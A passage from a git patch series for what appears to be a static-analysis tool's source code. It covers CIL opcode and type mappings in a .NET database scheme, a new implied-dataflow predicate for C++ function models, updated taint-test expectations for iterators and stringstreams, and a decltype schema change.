89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +| 4 = @cil_function_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_function_pointer_return_type( + unique int id: @cil_function_pointer_type ref, + int return_type: @cil_type ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field | @cil_function_pointer_type; +@cil_parameterizable = @cil_method | @cil_function_pointer_type; +@cil_has_type_annotation = @cil_stack_variable | @cil_property | @cil_method | @cil_function_pointer_type; + +#keyset[parameterizable, index] +cil_parameter( + unique int id: @cil_parameter, + int parameterizable: @cil_parameterizable ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_type_annotation( + int id: @cil_has_type_annotation ref, + int annotation: int ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +cil_function_pointer_calling_conventions( + int id: @cil_function_pointer_type ref, + int kind: int ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; +@dotnet_parameterizable = @parameterizable | @cil_parameterizable; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/upgrade.properties b/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/upgrade.properties new file mode 100644 index 00000000000..675c948ac4c --- /dev/null +++ b/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/upgrade.properties @@ -0,0 +1,2 @@ +description: Add 'and_pattern_expr' and 'or_pattern_expr' to the list of 'expr' types. +compatibility: backwards From 32b5c7fe06a69774b55fb1cd0c1f039fe4a33bcd Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 16:41:19 +0100 Subject: [PATCH 0871/1241] C++: Model implied dataflow --- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 21 +++++++++++++++++++ .../interfaces/FunctionInputsAndOutputs.qll | 12 ++++++++++- 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 3608c2c68fe..7580bfc9012 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -920,6 +920,27 @@ private predicate modelFlow(Operand opFrom, Instruction iTo) { ) ) ) + or + impliedModelFlow(opFrom, iTo) +} + +/** + * When a `DataFlowFunction` specifies dataflow from a parameter `p` to the return value there should + * also be dataflow from the parameter dereference (i.e., `*p`) to the return value dereference. + */ +private predicate impliedModelFlow(Operand opFrom, Instruction iTo) { + exists( + CallInstruction call, DataFlowFunction func, FunctionInput modelIn, FunctionOutput modelOut, + int index + | + call.getStaticCallTarget() = func and + func.hasDataFlow(modelIn, modelOut) + | + modelIn.isParameterOrQualifierAddress(index) and + modelOut.isReturnValue() and + opFrom = getSideEffectFor(call, index).(ReadSideEffectInstruction).getSideEffectOperand() and + iTo = call // TODO: Add write side effects for return values + ) } /** diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll index 195cbcb63b5..4ab55ee5b3f 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/FunctionInputsAndOutputs.qll @@ -108,6 +108,16 @@ class FunctionInput extends TFunctionInput { */ predicate isQualifierAddress() { none() } + /** + * Holds if `i >= 0` and `isParameter(i)` holds for this value, or + * if `i = -1` and `isQualifierAddress()` holds for this value. + */ + final predicate isParameterOrQualifierAddress(ParameterIndex i) { + i >= 0 and this.isParameter(i) + or + i = -1 and this.isQualifierAddress() + } + /** * Holds if this is the input value pointed to by the return value of a * function, if the function returns a pointer, or the input value referred @@ -134,7 +144,7 @@ class FunctionInput extends TFunctionInput { predicate isReturnValueDeref() { none() } /** - * Holds if `i >= 0` and `isParameterDeref(i)` holds for this is value, or + * Holds if `i >= 0` and `isParameterDeref(i)` holds for this value, or * if `i = -1` and `isQualifierObject()` holds for this value. */ final predicate isParameterDerefOrQualifierObject(ParameterIndex i) { From 52e2a69db9645dba346e1c75641f6a26f464507c Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 16:41:38 +0100 Subject: [PATCH 0872/1241] C++: Accept test changes. --- .../taint-tests/standalone_iterators.cpp | 4 +- .../dataflow/taint-tests/string.cpp | 4 +- .../dataflow/taint-tests/stringstream.cpp | 44 +++++++++---------- 3 files changed, 26 insertions(+), 26 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/standalone_iterators.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/standalone_iterators.cpp index 709ba8e7af4..3fb8c738305 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/standalone_iterators.cpp +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/standalone_iterators.cpp @@ -38,13 +38,13 @@ public: void test_typedefs(int_iterator_by_typedefs source1) { sink(*source1); // $ ast,ir - sink(*(source1++)); // $ ast MISSING: ir + sink(*(source1++)); // $ ast,ir sink(*(++source1)); // $ ast MISSING: ir } void test_trait(int_iterator_by_trait source1) { sink(*source1); // $ ast,ir - sink(*(source1++)); // $ ast MISSING: ir + sink(*(source1++)); // $ ast,ir sink(*(++source1)); // $ ast MISSING: ir } diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/string.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/string.cpp index 3741c54285b..9169113c1d9 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/string.cpp +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/string.cpp @@ -415,10 +415,10 @@ void test_string_iterators() { sink(*i9); // $ ast,ir i10 = i2; - sink(*(i10++)); // $ ast MISSING: ir + sink(*(i10++)); // $ ast,ir sink(i10); // $ ast,ir i11 = i2; - sink(*(i11--)); // $ ast MISSING: ir + sink(*(i11--)); // $ ast,ir sink(i11); // $ ast,ir } } diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/stringstream.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/stringstream.cpp index 794df6704da..7b7712f0c01 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/stringstream.cpp +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/stringstream.cpp @@ -75,7 +75,7 @@ void test_stringstream_int(int source) sink(ss1 << 1234); sink(ss2 << source); // $ ast MISSING: ir sink(ss1 >> v1); - sink(ss2 >> v2); // $ ast MISSING: ir + sink(ss2 >> v2); // $ ast,ir sink(ss1); sink(ss2); // $ ast,ir @@ -143,27 +143,27 @@ void test_stringstream_in() sink(ss2 << source()); // $ ast,ir sink(ss1 >> s1); - sink(ss2 >> s2); // $ ast MISSING: ir - sink(ss2 >> s3 >> s4); // $ ast MISSING: ir + sink(ss2 >> s2); // $ ast,ir + sink(ss2 >> s3 >> s4); // $ ast,ir sink(s1); sink(s2); // $ ast,ir sink(s3); // $ ast,ir - sink(s4); // $ ast MISSING: ir + sink(s4); // $ ast,ir sink(ss1 >> b1); - sink(ss2 >> b2); // $ ast MISSING: ir - sink(ss2 >> b3 >> b4); // $ ast MISSING: ir + sink(ss2 >> b2); // $ ast,ir + sink(ss2 >> b3 >> b4); // $ ast,ir sink(b1); sink(b2); // $ ast,ir sink(b3); // $ ast,ir - sink(b4); // $ ast MISSING: ir + sink(b4); // $ ast,ir sink(ss1.read(b5, 100)); - sink(ss2.read(b6, 100)); // $ ast MISSING: ir + sink(ss2.read(b6, 100)); // $ ast,ir sink(ss1.readsome(b7, 100)); sink(ss2.readsome(b8, 100)); // (returns a length, not significantly tainted) sink(ss1.get(b9, 100)); - sink(ss2.get(b10, 100)); // $ ast MISSING: ir + sink(ss2.get(b10, 100)); // $ ast,ir sink(b5); sink(b6); // $ ast,ir sink(b7); @@ -176,7 +176,7 @@ void test_stringstream_in() sink(c3 = ss1.peek()); sink(c4 = ss2.peek()); // $ ast,ir sink(ss1.get(c5)); - sink(ss2.get(c6)); // $ ast MISSING: ir + sink(ss2.get(c6)); // $ ast,ir sink(c1); sink(c2); // $ ast,ir sink(c3); @@ -212,44 +212,44 @@ void test_getline() std::string s1, s2, s3, s4, s5, s6, s7, s8; sink(ss1.getline(b1, 1000)); - sink(ss2.getline(b2, 1000)); // $ ast MISSING: ir - sink(ss2.getline(b3, 1000)); // $ ast MISSING: ir + sink(ss2.getline(b2, 1000)); // $ ast,ir + sink(ss2.getline(b3, 1000)); // $ ast,ir sink(ss1.getline(b3, 1000)); sink(b1); sink(b2); // $ ast,ir sink(b3); // $ SPURIOUS: ast,ir sink(ss1.getline(b4, 1000, ' ')); - sink(ss2.getline(b5, 1000, ' ')); // $ ast MISSING: ir - sink(ss2.getline(b6, 1000, ' ')); // $ ast MISSING: ir + sink(ss2.getline(b5, 1000, ' ')); // $ ast,ir + sink(ss2.getline(b6, 1000, ' ')); // $ ast,ir sink(ss1.getline(b6, 1000, ' ')); sink(b4); sink(b5); // $ ast,ir sink(b6); // $ SPURIOUS: ast,ir - sink(ss2.getline(b7, 1000).getline(b8, 1000)); // $ ast MISSING: ir + sink(ss2.getline(b7, 1000).getline(b8, 1000)); // $ ast,ir sink(b7); // $ ast,ir sink(b8); // $ ast MISSING: ir sink(getline(ss1, s1)); - sink(getline(ss2, s2)); // $ ast MISSING: ir - sink(getline(ss2, s3)); // $ ast MISSING: ir + sink(getline(ss2, s2)); // $ ast,ir + sink(getline(ss2, s3)); // $ ast,ir sink(getline(ss1, s3)); sink(s1); sink(s2); // $ ast,ir sink(s3); // $ SPURIOUS: ast,ir sink(getline(ss1, s4, ' ')); - sink(getline(ss2, s5, ' ')); // $ ast MISSING: ir - sink(getline(ss2, s6, ' ')); // $ ast MISSING: ir + sink(getline(ss2, s5, ' ')); // $ ast,ir + sink(getline(ss2, s6, ' ')); // $ ast,ir sink(getline(ss1, s6, ' ')); sink(s4); sink(s5); // $ ast,ir sink(s6); // $ SPURIOUS: ast,ir - sink(getline(getline(ss2, s7), s8)); // $ ast MISSING: ir + sink(getline(getline(ss2, s7), s8)); // $ ast,ir sink(s7); // $ ast,ir - sink(s8); // $ ast MISSING: ir + sink(s8); // $ ast,ir } void test_chaining() @@ -259,7 +259,7 @@ void test_chaining() char b1[1000] = {0}; char b2[1000] = {0}; - sink(ss1.get(b1, 100).unget().get(b2, 100)); // $ ast MISSING: ir + sink(ss1.get(b1, 100).unget().get(b2, 100)); // $ ast,ir sink(b1); // $ ast,ir sink(b2); // $ ast MISSING: ir From 307bef0ec3b581d1dda55f246a79e3a8ea370245 Mon Sep 17 00:00:00 2001 From: Ian Lynagh <igfoo@github.com> Date: Wed, 27 Jan 2021 16:06:42 +0000 Subject: [PATCH 0873/1241] C++: decltypes may have multiple expressions --- cpp/ql/src/semmlecode.cpp.dbscheme | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmlecode.cpp.dbscheme b/cpp/ql/src/semmlecode.cpp.dbscheme index c82db4c596b..ddd31fd02e5 100644 --- a/cpp/ql/src/semmlecode.cpp.dbscheme +++ b/cpp/ql/src/semmlecode.cpp.dbscheme @@ -691,8 +691,28 @@ typedefbase( int type_id: @type ref ); +/** + * An instance of the C++11 `decltype` operator. For example: + * ``` + * int a; + * decltype(1+a) b; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * would change the semantics of this decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ +#keyset[id, expr] decltypes( - unique int id: @decltype, + int id: @decltype, int expr: @expr ref, int base_type: @type ref, boolean parentheses_would_change_meaning: boolean ref From ca5e3b4489c8633a73f653241ae76829ef0b0783 Mon Sep 17 00:00:00 2001 From: Tamas 